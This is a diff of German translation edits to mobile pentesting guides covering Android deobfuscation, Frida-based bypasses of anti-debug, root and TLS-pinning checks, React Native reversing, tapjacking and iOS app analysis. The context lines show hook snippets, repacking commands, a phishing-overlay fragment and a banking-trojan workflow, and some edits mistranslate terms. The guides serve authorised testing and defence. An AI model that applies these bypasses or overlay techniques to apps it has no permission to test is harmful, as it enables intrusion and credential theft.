 ### [DexGuard](https://www.guardsquare.com/dexguard)
 
-Finden Sie eine Schritt-für-Schritt-Anleitung zur Deobfuskation der APK unter [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
+Finden Sie eine Schritt-für-Schritt-Anleitung zur Deobfuskation der APK in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
 
 (Von dieser Anleitung) Das letzte Mal, als wir überprüft haben, war der Dexguard-Betriebsmodus:
 
 - eine Ressource als InputStream laden;
 - das Ergebnis an eine Klasse weitergeben, die von FilterInputStream erbt, um es zu entschlüsseln;
-- einige nutzlose Obfuskation durchführen, um dem Reverser ein paar Minuten Zeit zu stehlen;
+- einige nutzlose Obfuskation durchführen, um ein paar Minuten Zeit eines Rückführers zu verschwenden;
 - das entschlüsselte Ergebnis an einen ZipInputStream weitergeben, um eine DEX-Datei zu erhalten;
 - schließlich die resultierende DEX als Ressource mit der Methode `loadDex` laden.
 
@@ -732,7 +733,7 @@ Dies ist ein LLM-Tool, um potenzielle Sicherheitsanfälligkeiten in Android-Apps
 
 ### [Simplify](https://github.com/CalebFenton/simplify)
 
-Es ist ein **generischer Android-Deobfuskator.** Simplify **führt eine App virtuell aus**, um ihr Verhalten zu verstehen, und **versucht dann, den Code zu optimieren**, sodass er identisch funktioniert, aber für einen Menschen leichter verständlich ist. Jeder Optimierungstyp ist einfach und generisch, sodass es keine Rolle spielt, welcher spezifische Obfuskationstyp verwendet wird.
+Es ist ein **generischer Android-Deobfuskator.** Simplify **führt eine App virtuell aus**, um ihr Verhalten zu verstehen, und **versucht dann, den Code zu optimieren**, sodass er identisch funktioniert, aber für einen Menschen leichter zu verstehen ist. Jeder Optimierungstyp ist einfach und generisch, sodass es keine Rolle spielt, welcher spezifische Obfuskationstyp verwendet wird.
 
 ### [APKiD](https://github.com/rednaga/APKiD)
 

src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md

@@ -2,13 +2,13 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Diese Seite bietet einen praktischen Workflow, um die dynamische Analyse gegen Android-Apps wiederzuerlangen, die Instrumentierung erkennen/blockieren oder TLS-Pinning durchsetzen. Sie konzentriert sich auf schnelle Triage, häufige Erkennungen und kopierbare Hooks/Taktiken, um diese zu umgehen, wenn möglich, ohne Repacking.
+Diese Seite bietet einen praktischen Workflow, um die dynamische Analyse gegen Android-Apps wiederzuerlangen, die Instrumentierung erkennen/blockieren oder TLS-Pinning durchsetzen. Sie konzentriert sich auf schnelle Triage, häufige Erkennungen und kopierbare Hooks/Taktiken, um diese zu umgehen, wenn möglich, ohne neu zu packen.
 
 ## Detection Surface (was Apps überprüfen)
 
 - Root-Checks: su-Binärdatei, Magisk-Pfade, getprop-Werte, gängige Root-Pakete
 - Frida/Debbuger-Checks (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), Scannen von /proc, classpath, geladene libs
-- Native Anti-Debug: ptrace(), Syscalls, anti-attach, Breakpoints, Inline-Hooks
+- Native Anti-Debug: ptrace(), syscalls, anti-attach, Breakpoints, Inline-Hooks
 - Frühe Init-Checks: Application.onCreate() oder Prozessstart-Hooks, die abstürzen, wenn Instrumentierung vorhanden ist
 - TLS-Pinning: benutzerdefinierter TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt-Pinning, native Pins
 
@@ -41,7 +41,7 @@ Diese stutzen typischerweise Java-Root-/Debug-Überprüfungen, Prozess-/Dienstsc
 
 ## Schritt 3 — Umgehung von Init-Zeit-Detektoren durch spätes Anhängen
 
-Viele Erkennungen laufen nur während des Prozessstarts/onCreate(). Spawn-Zeit-Injektion (-f) oder Gadgets werden erkannt; das Anhängen nach dem Laden der Benutzeroberfläche kann durchrutschen.
+Viele Erkennungen laufen nur während des Prozessstarts/onCreate(). Die Injektion zur Spawn-Zeit (-f) oder Gadgets werden erkannt; das Anhängen nach dem Laden der UI kann vorbeigleiten.
 ```bash
 # Launch the app normally (launcher/adb), wait for UI, then attach
 frida -U -n com.example.app
@@ -66,9 +66,9 @@ Häufige APIs zur Überprüfung/Hooking:
 - android.app.ActivityManager.getRunningAppProcesses / getRunningServices
 - java.lang.System.loadLibrary / System.load (native bridge)
 - java.lang.Runtime.exec / ProcessBuilder (Befehlsabfragen)
-- android.os.SystemProperties.get (Root/Emulator-Heuristiken)
+- android.os.SystemProperties.get (Root-/Emulator-Heuristiken)
 
-## Schritt 5 — Laufzeit-Stubbing mit Frida (Java)
+## Schritt 5 — Runtime-Stubbing mit Frida (Java)
 
 Überschreiben Sie benutzerdefinierte Schutzmaßnahmen, um sichere Werte ohne Repacking zurückzugeben:
 ```js
@@ -121,7 +121,7 @@ Interaktive/native Umkehrung:
 - Ghidra: https://ghidra-sre.org/
 - r2frida: https://github.com/nowsecure/r2frida
 
-Beispiel: neuter ptrace, um einfache Anti-Debug in libc zu besiegen:
+Beispiel: neuter ptrace, um einfache Anti-Debugging-Maßnahmen in libc zu überwinden:
 ```js
 const ptrace = Module.findExportByName(null, 'ptrace');
 if (ptrace) {
@@ -136,13 +136,13 @@ reversing-native-libraries.md
 
 ## Schritt 7 — Objection-Patching (Gadget einbetten / Grundlagen entfernen)
 
-Wenn Sie Repacking gegenüber Laufzeithooks bevorzugen, versuchen Sie:
+Wenn Sie Repacking den Runtime-Hooks vorziehen, versuchen Sie:
 ```bash
 objection patchapk --source app.apk
 ```
 Hinweise:
 - Erfordert apktool; stellen Sie sicher, dass Sie eine aktuelle Version aus dem offiziellen Leitfaden verwenden, um Build-Probleme zu vermeiden: https://apktool.org/docs/install
-- Gadget-Injektion ermöglicht Instrumentierung ohne Root, kann jedoch immer noch von stärkeren Init-Zeit-Überprüfungen erfasst werden.
+- Gadget-Injektion ermöglicht Instrumentierung ohne Root, kann jedoch immer noch von stärkeren Init-Zeit-Prüfungen erfasst werden.
 
 Referenzen:
 - Objection: https://github.com/sensepost/objection
@@ -183,10 +183,10 @@ apk-mitm app.apk
 ```
 ## Tipps & Hinweise
 
-- Bevorzuge das späte Anhängen über das Erzeugen, wenn Apps beim Start abstürzen
+- Bevorzuge das Anhängen spät über das Erzeugen, wenn Apps beim Start abstürzen
-- Einige Erkennungen werden in kritischen Abläufen (z.B. Zahlung, Authentifizierung) erneut ausgeführt — halte Hooks während der Navigation aktiv
+- Einige Erkennungen werden in kritischen Abläufen (z. B. Zahlung, Authentifizierung) erneut ausgeführt — halte Hooks während der Navigation aktiv
-- Mische statische und dynamische Methoden: String-Suche in Jadx, um Klassen auszuwählen; dann Methoden hooken, um zur Laufzeit zu überprüfen
+- Mische statische und dynamische Methoden: String-Suche in Jadx, um Klassen auszuwählen; dann Methoden hooken, um zur Laufzeit zu verifizieren
-- Härtete Apps können Packager und native TLS-Pinning verwenden — erwarte, nativen Code zu reversieren
+- Härtete Apps können Packager und native TLS-Pinning verwenden — erwarte, nativen Code zurückzusetzen
 
 ## Referenzen
 

src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md

@@ -18,7 +18,7 @@ In mac können Sie **die SDK-Tools herunterladen** und sie im PATH haben, indem
 brew tap homebrew/cask
 brew install --cask android-sdk
 ```
-Oder von **Android Studio GUI** wie angegeben in [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a), was sie in `~/Library/Android/sdk/cmdline-tools/latest/bin/` und `~/Library/Android/sdk/platform-tools/` und `~/Library/Android/sdk/emulator/` installieren wird.
+Oder über die **Android Studio GUI**, wie in [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) angegeben, die sie in `~/Library/Android/sdk/cmdline-tools/latest/bin/` und `~/Library/Android/sdk/platform-tools/` und `~/Library/Android/sdk/emulator/` installieren wird.
 
 Für die Java-Probleme:
 ```java
@@ -62,12 +62,12 @@ Um sie **auszuführen**, drücken Sie einfach die _**Start-Taste**_.
 
 ![](<../../images/image (518).png>)
 
-## Befehlszeilentool
+## Befehlszeilenwerkzeug
 
 > [!WARNING]
 > Für macOS finden Sie das `avdmanager`-Tool unter `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` und den `emulator` unter `/Users/<username>/Library/Android/sdk/emulator/emulator`, wenn Sie sie installiert haben.
 
-Zuerst müssen Sie **entscheiden, welches Telefon Sie verwenden möchten**, um die Liste der möglichen Telefone anzuzeigen, führen Sie aus:
+Zunächst müssen Sie **entscheiden, welches Telefon Sie verwenden möchten**. Um die Liste der möglichen Telefone anzuzeigen, führen Sie aus:
 ```
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device
 
@@ -100,7 +100,7 @@ Sie können alle Optionen mit `sdkmanager` auflisten:
 ```bash
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list
 ```
-Und **lade** diejenige (oder alle), die du verwenden möchtest, mit:
+Und **lade** die eine (oder alle), die du verwenden möchtest, mit:
 ```bash
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64"
 ```
@@ -124,8 +124,8 @@ In diesem Moment haben Sie das Gerät ausgewählt, das Sie verwenden möchten, u
 ```bash
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X"
 ```
-Im letzten Befehl **habe ich eine VM mit dem Namen** "_AVD9_" erstellt, die das **Gerät** "_Nexus 5X_" und das **Android-Image** "_system-images;android-28;google_apis;x86_64_" verwendet.\
+Im letzten Befehl **habe ich eine VM mit dem Namen** "_AVD9_" unter Verwendung des **Geräts** "_Nexus 5X_" und des **Android-Images** "_system-images;android-28;google_apis;x86_64_" **erstellt**.\
-Jetzt können Sie **die virtuellen Maschinen** auflisten, die Sie erstellt haben mit:
+Jetzt können Sie **die virtuellen Maschinen**, die Sie erstellt haben, mit folgendem Befehl auflisten:
 ```bash
 C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd
 
@@ -174,7 +174,7 @@ Es gibt jedoch **eine Menge nützlicher Befehlszeilenoptionen**, die Sie verwend
 - `-dns-server 192.0.2.0, 192.0.2.255` : Ermöglicht die Angabe von durch Kommas getrennten DNS-Servern für die VM.
 - **`-http-proxy 192.168.1.12:8080`** : Ermöglicht die Angabe eines HTTP-Proxys (sehr nützlich, um den Verkehr mit Burp zu erfassen)
 - Wenn die Proxy-Einstellungen aus irgendeinem Grund nicht funktionieren, versuchen Sie, sie intern oder mit einer Anwendung wie "Super Proxy" oder "ProxyDroid" zu konfigurieren.
-- `-netdelay 200` : Setzt die Netzwerkverzögerungssimulation in Millisekunden.
+- `-netdelay 200` : Setzt die Netzwerkverzögerungsemulation in Millisekunden.
 - `-port 5556` : Setzt die TCP-Portnummer, die für die Konsole und adb verwendet wird.
 - `-ports 5556,5559` : Setzt die TCP-Ports, die für die Konsole und adb verwendet werden.
 - **`-tcpdump /path/dumpfile.cap`** : Erfasst den gesamten Verkehr in einer Datei
@@ -193,7 +193,7 @@ Wenn Sie ein Gerät mit Play Store heruntergeladen haben, können Sie nicht dire
 $ adb root
 adbd cannot run as root in production builds
 ```
-Using [rootAVD](https://github.com/newbit1/rootAVD) mit [Magisk](https://github.com/topjohnwu/Magisk) konnte ich es rooten (folgen Sie zum Beispiel [**diesem Video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **oder** [**diesem hier**](https://www.youtube.com/watch?v=qQicUW0svB8)).
+Using [rootAVD](https://github.com/newbit1/rootAVD) with [Magisk](https://github.com/topjohnwu/Magisk) konnte ich es rooten (folgen Sie zum Beispiel [**diesem Video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **oder** [**diesem hier**](https://www.youtube.com/watch?v=qQicUW0svB8)).
 
 ## Burp-Zertifikat installieren
 
@@ -208,7 +208,7 @@ install-burp-certificate.md
 
 ### Snapshot erstellen
 
-Sie können **die GUI verwenden**, um jederzeit einen Snapshot der VM zu erstellen:
+Sie können **die GUI** verwenden, um jederzeit einen Snapshot der VM zu erstellen:
 
 ![](<../../images/image (234).png>)
 

src/mobile-pentesting/android-app-pentesting/react-native-application.md

@@ -26,9 +26,9 @@ ls ReactNative/assets/
 ```
 ## Javascript-Code
 
-Wenn Sie den Inhalt der `index.android.bundle` überprüfen, finden Sie den JavaScript-Code der Anwendung (auch wenn er minimiert ist). Sie können **ihn analysieren, um sensible Informationen und Schwachstellen zu finden**.
+Wenn Sie den Inhalt der `index.android.bundle` überprüfen und den JavaScript-Code der Anwendung finden (auch wenn er minimiert ist), können Sie **ihn analysieren, um sensible Informationen und Schwachstellen zu finden**.
 
-Da das Bundle tatsächlich den gesamten JS-Code der Anwendung enthält, ist es möglich, **es in verschiedene Dateien zu unterteilen** (was die Rückentwicklung potenziell erleichtert) mit dem **Tool [react-native-decompiler](https://github.com/numandev1/react-native-decompiler)**.
+Da das Bundle tatsächlich den gesamten JS-Code der Anwendung enthält, ist es möglich, ihn in **verschiedene Dateien zu unterteilen** (was die Rückentwicklung potenziell erleichtert) mit dem **Tool [react-native-decompiler](https://github.com/numandev1/react-native-decompiler)**.
 
 ### Webpack
 
@@ -90,7 +90,7 @@ Sie können überprüfen, ob das Bundle Hermes-Bytecode enthält, indem Sie den
 file index.android.bundle
 index.android.bundle: Hermes JavaScript bytecode, version 96
 ```
-Sie können jedoch die Tools **[hbctool](https://github.com/bongtrop/hbctool)**, aktualisierte Forks von hbctool, die neuere Bytecode-Versionen unterstützen, **[hasmer](https://github.com/lucasbaizer2/hasmer)**, **[hermes_rs](https://github.com/Pilfer/hermes_rs)** (Rust-Bibliothek/APIs) oder **[hermes-dec](https://github.com/P1sec/hermes-dec)** verwenden, um **den Bytecode zu disassemblieren** und auch, um **ihn in einen pseudo JS-Code zu dekompilieren**. Zum Beispiel:
+Sie können jedoch die Tools **[hbctool](https://github.com/bongtrop/hbctool)**, aktualisierte Forks von hbctool, die neuere Bytecode-Versionen unterstützen, **[hasmer](https://github.com/lucasbaizer2/hasmer)**, **[hermes_rs](https://github.com/Pilfer/hermes_rs)** (Rust-Bibliothek/APIs) oder **[hermes-dec](https://github.com/P1sec/hermes-dec)** verwenden, um **den Bytecode zu disassemblieren** und auch **ihn in einen pseudo JS-Code zu dekompilieren**. Zum Beispiel:
 ```bash
 # Disassemble and re-assemble with hbctool (works only for supported HBC versions)
 hbctool disasm ./index.android.bundle ./hasm_out
@@ -130,11 +130,11 @@ hbctool asm ./hasm assets/index.android.bundle
 zip -r ../patched.apk *
 # Align/sign as usual (see Android signing section in HackTricks)
 ```
-Beachten Sie, dass das Hermes-Bytecode-Format versioniert ist und der Assembler mit dem exakten On-Disk-Format übereinstimmen muss. Wenn Sie Formatfehler erhalten, wechseln Sie zu einem aktualisierten Fork/Alternativ oder bauen Sie die passende Hermes-Toolchain neu auf.
+Beachten Sie, dass das Hermes-Bytecode-Format versioniert ist und der Assembler mit dem exakten On-Disk-Format übereinstimmen muss. Wenn Sie Formatfehler erhalten, wechseln Sie zu einem aktualisierten Fork/Alternativ oder bauen Sie die passenden Hermes-Tools neu auf.
 
 ## Dynamische Analyse
 
-Sie könnten versuchen, die App dynamisch zu analysieren, indem Sie Frida verwenden, um den Entwicklermodus der React-App zu aktivieren und **`react-native-debugger`** zu verwenden, um sich daran anzuhängen. Allerdings benötigen Sie dafür anscheinend den Quellcode der App. Weitere Informationen dazu finden Sie unter [https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/](https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/).
+Sie könnten versuchen, die App dynamisch zu analysieren, indem Sie Frida verwenden, um den Entwicklermodus der React-App zu aktivieren und **`react-native-debugger`** zu verwenden, um sich daran anzuhängen. Allerdings benötigen Sie dafür anscheinend den Quellcode der App. Weitere Informationen finden Sie unter [https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/](https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/).
 
 ### Aktivieren der Dev-Unterstützung in der Release-Version mit Frida (Einschränkungen)
 
@@ -153,13 +153,13 @@ console.log('[-] Could not patch: ' + e);
 }
 });
 ```
-Warnung: In ordnungsgemäß erstellten Release-Bauten werden `DevSupportManagerImpl` und verwandte Debug-Only-Klassen entfernt, und das Umstellen dieses Flags kann die App zum Absturz bringen oder keine Wirkung haben. Wenn dies funktioniert, können Sie typischerweise das Entwicklermenü anzeigen und Debugger/Inspektoren anhängen.
+Warnung: In ordnungsgemäß erstellten Release-Bauten werden `DevSupportManagerImpl` und verwandte Debug-Only-Klassen entfernt, und das Umstellen dieses Flags kann die App zum Absturz bringen oder keine Wirkung haben. Wenn dies funktioniert, können Sie typischerweise das Entwickler-Menü aufrufen und Debugger/Inspektoren anhängen.
 
 ### Netzwerkinterzeption in RN-Apps
 
 React Native Android verlässt sich typischerweise im Hintergrund auf OkHttp (über das `Networking`-native Modul). Um den Datenverkehr auf einem nicht gerooteten Gerät während dynamischer Tests abzufangen/beobachten:
 - Verwenden Sie einen Systemproxy + vertrauen Sie dem Benutzer-CA oder verwenden Sie andere generische Android-TLS-Bypass-Techniken.
-- RN-spezifischer Tipp: Wenn die App versehentlich Flipper im Release bündelt (Debug-Tools), kann das Flipper-Netzwerk-Plugin Anfragen/Antworten offenlegen.
+- RN-spezifischer Tipp: Wenn die App versehentlich Flipper im Release bündelt (Debug-Tooling), kann das Flipper-Netzwerk-Plugin Anfragen/Antworten offenlegen.
 
 Für generische Android-Interzeption und Pinning-Bypass-Techniken siehe:
 

src/mobile-pentesting/android-app-pentesting/tapjacking.md

@@ -86,19 +86,19 @@ PixelFormat.TRANSLUCENT);
 wm.addView(phishingView, lp);
 ```
 ### Typischer Workflow von Banking-Trojanern
-* Abfrage installierter Pakete (`QUERY_ALL_PACKAGES`), um herauszufinden, welche Banking-/Wallet-App derzeit geöffnet ist.
+* Abfrage installierter Pakete (`QUERY_ALL_PACKAGES`), um herauszufinden, welche Banking- / Wallet-App gerade geöffnet ist.
-* Herunterladen einer **HTML/JS-Overlay-Vorlage** vom C2, die diese spezifische Anwendung perfekt imitiert (Logo, Farben, i18n-Strings…).
+* Laden Sie eine **HTML/JS-Overlay-Vorlage** vom C2 herunter, die diese spezifische Anwendung perfekt imitiert (Logo, Farben, i18n-Strings…).
-* Anzeige des Overlays, Erfassung von Anmeldeinformationen/PIN/Muster.
+* Overlay anzeigen, Anmeldeinformationen/PIN/Muster erfassen.
-* Verwendung der **Accessibility API** (`performGlobalAction`, `GestureDescription`), um Überweisungen im Hintergrund zu automatisieren.
+* Verwenden Sie die **Accessibility API** (`performGlobalAction`, `GestureDescription`), um Überweisungen im Hintergrund zu automatisieren.
 
 ### Erkennung & Minderung
-* Überprüfung der Liste der installierten Apps mit `adb shell pm list packages -3 -e BIND_ACCESSIBILITY_SERVICE`.
+* Überprüfen Sie die Liste der installierten Apps mit `adb shell pm list packages -3 -e BIND_ACCESSIBILITY_SERVICE`.
-* Von der Anwendungsseite (Bank/Wallet):
+* Von der Anwendungsseite (Bank / Wallet):
-- Aktivieren von **`android:accessibilityDataSensitive="accessibilityDataPrivateYes"`** (Android 14+) auf sensiblen Ansichten, um nicht im Play Store befindliche Dienste zu blockieren.
+- Aktivieren Sie **`android:accessibilityDataSensitive="accessibilityDataPrivateYes"`** (Android 14+) für sensible Ansichten, um nicht im Play Store befindliche Dienste zu blockieren.
-- Kombinieren mit `setFilterTouchesWhenObscured(true)` und `FLAG_SECURE`.
+- Kombinieren Sie dies mit `setFilterTouchesWhenObscured(true)` und `FLAG_SECURE`.
 * Systemhärtung:
-- Deaktivieren von *Installieren von unbekannten Quellen* & *Zugänglichkeit für nicht vertrauenswürdige Apps*.
+- Deaktivieren Sie *Installieren von unbekannten Quellen* & *Zugänglichkeit für nicht vertrauenswürdige Apps*.
-- Durchsetzen von PlayProtect & aktuellen Geräten.
+- Erzwingen Sie PlayProtect & aktuelle Geräte.
 
 Für weitere Details zur Nutzung von Accessibility Services für die vollständige Fernsteuerung von Geräten (z. B. PlayPraetor, SpyNote usw.) siehe:
 

src/mobile-pentesting/ios-pentesting/README.md

@@ -30,7 +30,7 @@ basic-ios-testing-operations.md
 {{#endref}}
 
 > [!TIP]
-> Für die folgenden Schritte **sollte die App installiert sein** auf dem Gerät und die **IPA-Datei** der Anwendung sollte bereits erhalten worden sein.\
+> Für die folgenden Schritte **sollte die App installiert sein** und die **IPA-Datei** der Anwendung sollte bereits vorliegen.\
 > Lesen Sie die [Basic iOS Testing Operations](basic-ios-testing-operations.md) Seite, um zu erfahren, wie Sie dies tun.
 
 ### Grundlegende Statische Analyse
@@ -138,7 +138,7 @@ grep -iER "_vsprintf"
 
 ### Grundlegende Dynamische Analyse
 
-Überprüfen Sie die dynamische Analyse, die [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) durchführt. Sie müssen durch die verschiedenen Ansichten navigieren und mit ihnen interagieren, aber es wird mehrere Klassen hooken, während Sie andere Dinge tun, und einen Bericht vorbereiten, sobald Sie fertig sind.
+Überprüfen Sie die dynamische Analyse, die [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) durchführt. Sie müssen durch die verschiedenen Ansichten navigieren und mit ihnen interagieren, aber es wird mehrere Klassen hooken, während Sie andere Dinge tun, und einen Bericht erstellen, sobald Sie fertig sind.
 
 ### Auflistung installierter Apps
 
@@ -166,7 +166,7 @@ ios-hooking-with-objection.md
 
 ### IPA-Struktur
 
-Die Struktur einer **IPA-Datei** ist im Wesentlichen die eines **zipped Pakets**. Durch Umbenennen der Erweiterung in `.zip` kann es **dekomprimiert** werden, um seinen Inhalt zu enthüllen. Innerhalb dieser Struktur stellt ein **Bundle** eine vollständig verpackte Anwendung dar, die bereit für die Installation ist. Darin finden Sie ein Verzeichnis namens `<NAME>.app`, das die Ressourcen der Anwendung kapselt.
+Die Struktur einer **IPA-Datei** ist im Wesentlichen die eines **zipped Pakets**. Durch Umbenennen der Erweiterung in `.zip` kann sie **dekomprimiert** werden, um ihren Inhalt zu enthüllen. Innerhalb dieser Struktur stellt ein **Bundle** eine vollständig verpackte Anwendung dar, die bereit für die Installation ist. Darin finden Sie ein Verzeichnis namens `<NAME>.app`, das die Ressourcen der Anwendung kapselt.
 
 - **`Info.plist`**: Diese Datei enthält spezifische Konfigurationsdetails der Anwendung.
 - **`_CodeSignature/`**: Dieses Verzeichnis enthält eine plist-Datei, die eine Signatur enthält, um die Integrität aller Dateien im Bundle sicherzustellen.
@@ -182,9 +182,9 @@ Die Struktur einer **IPA-Datei** ist im Wesentlichen die eines **zipped Pakets**
 
 **Info.plist**
 
-Die **Info.plist** dient als Grundpfeiler für iOS-Anwendungen und kapselt wichtige Konfigurationsdaten in Form von **Schlüssel-Wert**-Paaren. Diese Datei ist eine Voraussetzung nicht nur für Anwendungen, sondern auch für App-Erweiterungen und Frameworks, die gebündelt sind. Sie ist entweder im XML- oder im Binärformat strukturiert und enthält kritische Informationen, die von App-Berechtigungen bis hin zu Sicherheitskonfigurationen reichen. Für eine detaillierte Erkundung der verfügbaren Schlüssel kann auf die [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc) verwiesen werden.
+Die **Info.plist** dient als Grundpfeiler für iOS-Anwendungen und kapselt wichtige Konfigurationsdaten in Form von **Schlüssel-Wert**-Paaren. Diese Datei ist eine Voraussetzung nicht nur für Anwendungen, sondern auch für App-Erweiterungen und Frameworks, die darin gebündelt sind. Sie ist entweder im XML- oder im Binärformat strukturiert und enthält kritische Informationen, die von App-Berechtigungen bis hin zu Sicherheitskonfigurationen reichen. Für eine detaillierte Erkundung der verfügbaren Schlüssel kann auf die [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc) verwiesen werden.
 
-Für diejenigen, die mit dieser Datei in einem zugänglicheren Format arbeiten möchten, kann die XML-Konvertierung mühelos durch die Verwendung von `plutil` auf macOS (verfügbar nativ in Versionen 10.2 und später) oder `plistutil` auf Linux erreicht werden. Die Befehle zur Konvertierung sind wie folgt:
+Für diejenigen, die mit dieser Datei in einem zugänglicheren Format arbeiten möchten, kann die XML-Konvertierung mühelos durch die Verwendung von `plutil` auf macOS (nativ verfügbar in Versionen 10.2 und später) oder `plistutil` auf Linux erreicht werden. Die Befehle zur Konvertierung sind wie folgt:
 
 - **Für macOS**:
 ```bash
@@ -206,7 +206,7 @@ Im iOS-Umfeld sind Verzeichnisse speziell für **Systemanwendungen** und **vom B
 > [!WARNING]
 > Da Anwendungen in iOS sandboxed sein müssen, hat jede App auch einen Ordner innerhalb von **`$HOME/Library/Containers`** mit der **`CFBundleIdentifier`** der App als Ordnernamen.
 >
-> Beide Ordner (Daten- und Containerordner) enthalten jedoch die Datei **`.com.apple.mobile_container_manager.metadata.plist`**, die beide Dateien im Schlüssel `MCMetadataIdentifier` verknüpft.
+> Beide Ordner (Daten- & Containerordner) haben jedoch die Datei **`.com.apple.mobile_container_manager.metadata.plist`**, die beide Dateien im Schlüssel `MCMetadataIdentifier` verknüpft.
 
 Um die Entdeckung des Installationsverzeichnisses einer vom Benutzer installierten App zu erleichtern, bietet das **objection tool** einen nützlichen Befehl, `env`. Dieser Befehl zeigt detaillierte Verzeichnisinformationen für die betreffende App an. Im Folgenden ein Beispiel, wie man diesen Befehl verwendet:
 ```bash
@@ -333,7 +333,7 @@ data       0x1003de748
 flags          0x80
 instanceStart  8
 ```
-Um einen kompakteren Objective-C-Code zu erhalten, können Sie [**class-dump**](http://stevenygard.com/projects/class-dump/): verwenden:
+Um einen kompakteren Objective-C-Code zu erhalten, können Sie [**class-dump**](http://stevenygard.com/projects/class-dump/) verwenden:
 ```bash
 class-dump some-app
 //
@@ -359,29 +359,29 @@ double _field1;
 double _field2;
 };
 ```
-Allerdings sind die besten Optionen, um die Binärdatei zu disassemblieren: [**Hopper**](https://www.hopperapp.com/download.html?) und [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
+Die besten Optionen, um die Binärdatei zu disassemblieren, sind: [**Hopper**](https://www.hopperapp.com/download.html?) und [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
 
 ## Datenspeicherung
 
-Um zu erfahren, wie iOS Daten im Gerät speichert, lesen Sie diese Seite:
+Um zu erfahren, wie iOS Daten auf dem Gerät speichert, lesen Sie diese Seite:
 
 {{#ref}}
 ios-basics.md
 {{#endref}}
 
 > [!WARNING]
-> Die folgenden Orte zur Speicherung von Informationen sollten **unmittelbar nach der Installation der Anwendung**, **nach der Überprüfung aller Funktionen** der Anwendung und sogar nach **dem Abmelden von einem Benutzer und dem Anmelden bei einem anderen** überprüft werden.\
+> Die folgenden Orte zur Speicherung von Informationen sollten **unmittelbar nach der Installation der Anwendung**, **nach Überprüfung aller Funktionen** der Anwendung und sogar nach **dem Abmelden von einem Benutzer und dem Anmelden bei einem anderen** überprüft werden.\
-> Das Ziel ist es, **ungeschützte sensible Informationen** der Anwendung (Passwörter, Tokens), des aktuellen Benutzers und von zuvor angemeldeten Benutzern zu finden.
+> Das Ziel ist es, **unprotected sensitive information** der Anwendung (Passwörter, Tokens), des aktuellen Benutzers und von zuvor angemeldeten Benutzern zu finden.
 
 ### Plist
 
 **plist**-Dateien sind strukturierte XML-Dateien, die **Schlüssel-Wert-Paare** enthalten. Es ist eine Möglichkeit, persistente Daten zu speichern, daher können Sie manchmal **sensible Informationen in diesen Dateien** finden. Es wird empfohlen, diese Dateien nach der Installation der App und nach intensiver Nutzung zu überprüfen, um zu sehen, ob neue Daten geschrieben werden.
 
-Der gebräuchlichste Weg, um Daten in plist-Dateien zu persistieren, ist die Verwendung von **NSUserDefaults**. Diese plist-Datei wird im App-Sandbox unter **`Library/Preferences/<appBundleID>.plist`** gespeichert.
+Die gängigste Methode, um Daten in plist-Dateien zu persistieren, ist die Verwendung von **NSUserDefaults**. Diese plist-Datei wird im App-Sandbox unter **`Library/Preferences/<appBundleID>.plist`** gespeichert.
 
 Die [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) Klasse bietet eine programmgesteuerte Schnittstelle zur Interaktion mit dem Standardsystem. Das Standardsystem ermöglicht es einer Anwendung, ihr Verhalten gemäß den **Benutzereinstellungen** anzupassen. Daten, die von `NSUserDefaults` gespeichert werden, können im Anwendungsbundle angezeigt werden. Diese Klasse speichert **Daten** in einer **plist** **Datei**, ist jedoch für die Verwendung mit kleinen Datenmengen gedacht.
 
-Diese Daten können nicht mehr direkt über einen vertrauenswürdigen Computer zugegriffen werden, können jedoch durch das Durchführen eines **Backups** abgerufen werden.
+Diese Daten können nicht mehr direkt über einen vertrauenswürdigen Computer zugegriffen werden, können jedoch durch das Erstellen eines **Backups** abgerufen werden.
 
 Sie können die Informationen, die mit **`NSUserDefaults`** gespeichert wurden, mit objections `ios nsuserdefaults get` **dumpen**.
 
@@ -442,7 +442,7 @@ Da die Yap-Datenbanken SQLite-Datenbanken sind, können Sie sie mit dem im vorhe
 
 ### Andere SQLite-Datenbanken
 
